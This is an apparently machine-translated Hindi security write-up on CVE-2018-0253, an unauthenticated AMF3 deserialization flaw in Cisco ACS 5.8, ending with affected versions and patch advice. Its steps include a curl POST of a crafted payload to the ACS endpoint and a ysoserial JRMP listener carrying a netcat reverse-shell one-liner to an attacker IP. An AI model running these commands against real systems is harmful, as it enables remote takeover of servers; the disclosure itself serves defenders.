खतरनाक एएमएफ 3 प्रोटोकॉल

हाल ही में, कोड व्हाइट के मार्कस वुल्फटेन्ग ने एक वेब एप्लिकेशन पर हमला करने के तरीके पर एक दिलचस्प अध्ययन साझा किया अगर यह जावा में लिखा गया है और एएमएफ 3 प्रोटोकॉल का उपयोग करता है। यह प्रोटोकॉल पाया जा सकता है जहां फ्लैश का उपयोग किया जाता है और एसडब्ल्यूएफ ऑब्जेक्ट और एप्लिकेशन के सर्वर भाग के बीच डेटा एक्सचेंज की आवश्यकता होती है। प्रोटोकॉल आपको फ़्लैश.utils.IExternalizable प्रकार की क्रमबद्ध वस्तुओं को सर्वर पर स्थानांतरित करने की अनुमति देता है। ये सर्वर-साइड ऑब्जेक्ट डिसेररलाइज़्ड हैं, टाइप कन्वर्ज़न होता है और फ़्लैश.utils.IExternalizable java.io.Externalizable में बदल जाती है। यह ध्यान देने योग्य है कि जो कक्षाएं इस इंटरफ़ेस को लागू करती हैं वे पूरी तरह से अपने स्वयं के क्रमांकन और डीरिएलाइज़ेशन की प्रक्रियाओं को नियंत्रित करती हैं। इसका मतलब यह है कि आप एक वर्ग खोजने की कोशिश कर सकते हैं, जब deserialized, मनमाना कोड निष्पादित करेगा।

मार्कस ने OpenJDK 8u121 से सभी वर्गों की जांच की जो java.io.Externalizable इंटरफ़ेस को लागू करते हैं और उन्होंने पाया कि वे RMI तंत्र से संबंधित वर्ग sun.rmi.server.UnicastRef और sun.rmi.server.UnicastRef2 शामिल हैं। यदि आप इनमें से किसी एक वर्ग की वस्तु को सही तरीके से तैयार करते हैं (इसे हमलावर के मेजबान से लिंक के साथ आरंभ करें), और फिर इसे कमजोर सर्वर पर स्थानांतरित करें, तो सर्वर JVM LiveRef लिंक को "दूरस्थ ऑब्जेक्ट" में पंजीकृत करेगा। उसके बाद, कचरा संग्रह तंत्र निर्दिष्ट मेजबान के साथ एक जेआरएमपी कनेक्शन स्थापित करने का प्रयास करेगा। और जैसा कि आप जानते हैं, जेआरएमपी प्रोटोकॉल में अनुक्रमित जावा वस्तुओं का आदान-प्रदान शामिल है। इसका उपयोग deserialization से संबंधित हमलों को करने के लिए किया जा सकता है।

CVE-2018-0253 या हमने Cisco ACS को कैसे हैक किया

एक बार, हमारे एक परीक्षण के दौरान, हमें सिस्को एसीएस 5.8 सर्वर तक पहुंच मिली। उसी समय, हमारे पास एक वेब इंटरफेस के माध्यम से एक कार्यशील सर्वर से जुड़ने का अवसर था। वेब इंटरफ़ेस के विश्लेषण के दौरान, हमने पाया कि AMF3 ऑब्जेक्ट्स वाले POST अनुरोध क्लाइंट से सर्वर पर भेजे जाते हैं।



बाद में यह देखा गया कि सर्वर प्राधिकरण के बिना ऐसे POST अनुरोध स्वीकार करता है

HTTP प्रतिक्रिया हेडर ने संकेत दिया कि वेब इंटरफ़ेस जावा में लागू किया गया था। तो, आप एक हमले को अंजाम देने की कोशिश कर सकते हैं।

मूल शोषण डाउनलोड करें और होस्ट और पोर्ट चर बदलें। संकलन करते समय, आपको यह सुनिश्चित करने की आवश्यकता है कि CLASSPATH में Apache BlazeDS लाइब्रेरी का रास्ता है। संकलित कोड को चलाने से एक एएमएफ पैकेज का उत्पादन होगा: यूनिकैस्टरीफ क्लास का एक धारावाहिक ऑब्जेक्ट, जो हमारे सर्वर के लिए लाइवरफ लिंक द्वारा आरंभीकृत होता है।

javac Amf3ExternalizableUnicastRef.java && java Amf3ExternalizableUnicastRef > payload 

हम सिस्को एसीएस के लिए उत्पन्न एएमएफ पैकेट युक्त एक HTTP अनुरोध भेजते हैं और हम एक कनेक्शन प्रयास देखते हैं।

 curl -X POST -H "Content-type: application/x-amf" --data-binary @payload -k \ https://[IP  Cisco ACS]/acsview/messagebroker/amfsecure 

यह इसलिए हुआ क्योंकि Apache BlazeDS लाइब्रेरी का एक कमजोर संस्करण सर्वर पर स्थापित किया गया था। सिस्को एसीएस ने एएमएफ पैकेट को अनपैक किया, जिस वस्तु को हमने पास किया था, उसे निष्क्रिय कर दिया और अब कचरा संग्रहकर्ता हमारे सर्वर पर जेआरएमपी कनेक्शन स्थापित करने की कोशिश कर रहा है। यदि आप एक आरएमआई ऑब्जेक्ट के साथ इस अनुरोध का जवाब देते हैं, तो सिस्को एसीएस प्राप्त डेटा को निष्क्रिय करता है और हमारे कोड को निष्पादित करता है।

हम ysoserial उपयोगिता का उपयोग करते हैं। यह JRMP सर्वर के रूप में कार्य करेगा: कनेक्ट करने पर, क्लाइंट को CommonsCollection1 लाइब्रेरी से एक ऑब्जेक्ट प्राप्त होगा, जिसके अंदर एक रिवर्स शेल प्रदर्शन करने के लिए एक कोड है।

 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 443 CommonsCollections1 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP   ] 80 >/tmp/f' 

अब हम AMF पैकेट भेजते हैं और रिवर्स शेल प्राप्त करते हैं:

एक निष्कर्ष के बजाय

मिली भेद्यता एक अनधिकृत हमलावर को विशेषाधिकार प्राप्त उपयोगकर्ता से मनमाना आदेशों को निष्पादित करने की अनुमति देती है। निर्माता ने CVSS पैमाने पर इसे 9.8 दर्जा दिया । हम सभी को सलाह देते हैं जो नवीनतम पैच को स्थापित करने के लिए इस सॉफ़्टवेयर का उपयोग करते हैं।

कमजोर सॉफ्टवेयर:

• सिस्को एसीएस <5.8.0.32.7 - कमजोर, प्राधिकरण की आवश्यकता नहीं है;
• सिस्को एसीएस 5.8.0.32.7, 5.8.0.32.8 - कमजोर, प्राधिकरण की आवश्यकता;
• सिस्को एसीएस 5.8.0.32.9 के साथ शुरू - भेद्यता बंद है।

लेखक : मिखाइल क्लाइनुचिकोव और यूरी एलीनोव, पॉजिटिव टेक्नोलॉजीज